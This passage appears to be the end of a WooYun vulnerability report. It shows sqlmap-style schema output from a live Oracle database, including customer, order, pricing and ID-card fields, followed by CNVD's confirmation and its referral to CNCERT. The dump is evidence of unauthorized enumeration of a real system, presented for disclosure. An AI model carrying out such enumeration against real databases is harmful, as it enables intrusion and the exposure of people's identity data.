| TRANPOSNAME | VARCHAR2 |
| TRANPOSTYPE | NUMBER |
| TRANSTYPE | NUMBER |
| UNITPRICE | NUMBER |
| USESTATUS | NUMBER |
+-------------+----------+
Database: WSD
Table: ZX_BMS_GOODS_PRICE
[5 columns]
+-----------+--------+
| Column | Type |
+-----------+--------+
| DEPTID | NUMBER |
| GOODSID | NUMBER |
| PRICEID | NUMBER |
| PRICETYPE | NUMBER |
| UNITPRICE | NUMBER |
+-----------+--------+
Database: WSD
Table: BMS_ST_IO_DOC_TMP
[43 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| AGTFLAG | NUMBER |
| AUTOGENFLAG | NUMBER |
| CHECKMANID | NUMBER |
| COMEFROM | NUMBER |
| COMPANYID | NUMBER |
| COMPANYNAME | VARCHAR2 |
| CREDATE | DATE |
| CUSTOMID | NUMBER |
| ENTRYID | NUMBER |
| GOODSID | NUMBER |
| GOODSUNIT | VARCHAR2 |
| GOODSUSEQTY | NUMBER |
| GOODSUSEUNIT | VARCHAR2 |
| GOODSWEIGHT | NUMBER |
| INOUTFLAG | NUMBER |
| INOUTID | NUMBER |
| INQTY | NUMBER |
| INVALIDDATE | DATE |
| INVALIDMANID | NUMBER |
| KEEPDATE | DATE |
| KEEPERID | NUMBER |
| KEEPMANID | NUMBER |
| OLDQTY | NUMBER |
| OUTQTY | NUMBER |
| PRINTLINE | NUMBER |
| PRINTNO | VARCHAR2 |
| REALGOODSFLAG | NUMBER |
| SIGNFORSTATUS | NUMBER |
| SOURCEID | NUMBER |
| SOURCETABLE | NUMBER |
| STORAGEID | NUMBER |
| TRDTLID | NUMBER |
| USESTATUS | NUMBER |
| ZXCOLUMN1 | VARCHAR2 |
| ZXCOLUMN10 | VARCHAR2 |
| ZXCOLUMN2 | VARCHAR2 |
| ZXCOLUMN3 | VARCHAR2 |
| ZXCOLUMN4 | VARCHAR2 |
| ZXCOLUMN5 | VARCHAR2 |
| ZXCOLUMN6 | VARCHAR2 |
| ZXCOLUMN7 | VARCHAR2 |
| ZXCOLUMN8 | VARCHAR2 |
| ZXCOLUMN9 | VARCHAR2 |
+---------------+----------+
Database: WSD
Table: ZX_CUSTOM_LEGAL_INDENTURE
[19 columns]
+-------------------+----------+
| Column | Type |
+-------------------+----------+
| CTRLMODE | NUMBER |
| CUSTOMID | NUMBER |
| CUSTOMSEQID7 | NUMBER |
| EDATE | DATE |
| HASIDCARD | NUMBER |
| LEGALNAME | VARCHAR2 |
| LEGALNAME2 | VARCHAR2 |
| LEGALNO | VARCHAR2 |
| MEMO | VARCHAR2 |
| NAME7 | VARCHAR2 |
| SALER2CTRLMODE | NUMBER |
| SALER2IDCARD | VARCHAR2 |
| SALER2IDVALIDDATE | DATE |
| SALERCTRLMODE | NUMBER |
| SALERIDCARD | VARCHAR2 |
| SALERIDVALIDDATE | DATE |
| SDATE | DATE |
| SEQID7 | NUMBER |
| TELNO | VARCHAR2 |
+-------------------+----------+
Database: WSD
Table: PUB_ORDER
[10 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| CREATEDATE | DATE |
| CUSTOMERID | NUMBER |
| CUSTOMERNAME | VARCHAR2 |
| FENLEI | NUMBER |
| IN_TYPE | NUMBER |
| ORDERNO | VARCHAR2 |
| PHONE | VARCHAR2 |
| SOURCE_ID | VARCHAR2 |
| USERID | NUMBER |
| USERNAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: TONGTIM_MSGSERVICE
[3 columns]
+----------------+----------+
| Column | Type |
+----------------+----------+
| MSGSERVICEDESC | VARCHAR2 |
| MSGSERVICEID | NUMBER |
| MSGSERVICENAME | VARCHAR2 |
+----------------+----------+
Database: WSD
Table: DC_BUF_0009108F0001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: ZX_PUB_CITY
[5 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| CIT_OPCODE | VARCHAR2 |
| CITYCODE | VARCHAR2 |
| CITYID | NUMBER |
| CITYNAME | VARCHAR2 |
| PROVINCEID | NUMBER |
+------------+----------+
Database: WSD
Table: BMS_ST_QTY_LST
[8 columns]
+---------------+--------+
| Column | Type |
+---------------+--------+
| BATCHID | NUMBER |
| GOODSDETAILID | NUMBER |
| GOODSID | NUMBER |
| GOODSQTY | NUMBER |
| GOODSSTATUSID | NUMBER |
| LOTID | NUMBER |
| POSID | NUMBER |
| STORAGEID | NUMBER |
+---------------+--------+
Database: WSD
Table: DC_BUF_00280B880001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: PUB_GOODS_PRICE
[13 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| COPYDATA | NUMBER |
| DISCOUNT | NUMBER |
| GOODSID | NUMBER |
| INUREDATE | DATE |
| INVALIDDATE | DATE |
| MAXDISCOUNT | NUMBER |
| PRICE | NUMBER |
| PRICEAPPROVE | VARCHAR2 |
| PRICEID | NUMBER |
| PRICEUNIT | VARCHAR2 |
| PUBFLAG | NUMBER |
| REFRENCEPRICE | NUMBER |
| REFRENCEPRICEID | NUMBER |
+-----------------+----------+
Database: WSD
Table: YSJ_1
[4 columns]
+----------------+--------+
| Column | Type |
+----------------+--------+
| EMP_ID | NUMBER |
| ESHOP_GOODS_ID | NUMBER |
| ESHOP_USER_ID | NUMBER |
| GOODS_ID | NUMBER |
+----------------+--------+
Database: WSD
Table: DC2_RESTORE_LOG
[6 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| FILEPATH | VARCHAR2 |
| FROMNODEID | NUMBER |
| LOGID | NUMBER |
| REFRESHID | NUMBER |
| RESTOREFLAG | NUMBER |
| RESTORETYPE | NUMBER |
+-------------+----------+
Database: WSD
Table: DC_BUF_001513410001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: ZX_BMS_COMPANY_GOODSCLASS
[5 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| CLASSID | NUMBER |
| COMPANYID | NUMBER |
| COMPANYTYPE | NUMBER |
| MEMO | VARCHAR2 |
| ZXGOODSCLASS | NUMBER |
+--------------+----------+
Database: WSD
Table: DC2_DATA
[9 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+------------+----------+
Database: WSD
Table: ZX_CUSTOM_SPLTXKZ
[11 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| CTRLMODE | NUMBER |
| CUSTOMID | NUMBER |
| MEMO | VARCHAR2 |
| NAMEC22 | VARCHAR2 |
| PERMITRANGE | VARCHAR2 |
| PICPATH | VARCHAR2 |
| SEQC22ID | NUMBER |
| SPLTXKZNO | VARCHAR2 |
| USESTATUS | NUMBER |
| VALIDDATE | DATE |
| ZHENGZHAOSEQ | NUMBER |
+--------------+----------+
Database: WSD
Table: NOUSE_GOOD
[2 columns]
+---------+--------+
| Column | Type |
+---------+--------+
| GOODSID | NUMBER |
| INUSE | NUMBER |
+---------+--------+
Database: WSD
Table: ZX_CUSTOM_ZZ_MYYJK
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| AUDITDATE | DATE |
| AUDITMANID | NUMBER |
| BUYER | VARCHAR2 |
| CTRLMODE | NUMBER |
| CUSTOMID | NUMBER |
| INPUTDATE | DATE |
| INPUTMANID | NUMBER |
| INPUTMANNAME | VARCHAR2 |
| INVALIDDATE | DATE |
| MYYJKID | NUMBER |
| USESTATUS | NUMBER |
| ZZSEQID | NUMBER |
+--------------+----------+
Database: WSD
Table: DC_BUF_001304150001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-08-10 14:51

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给北京分中心，由其后续协调网站管理单位处置。

最新状态：

暂无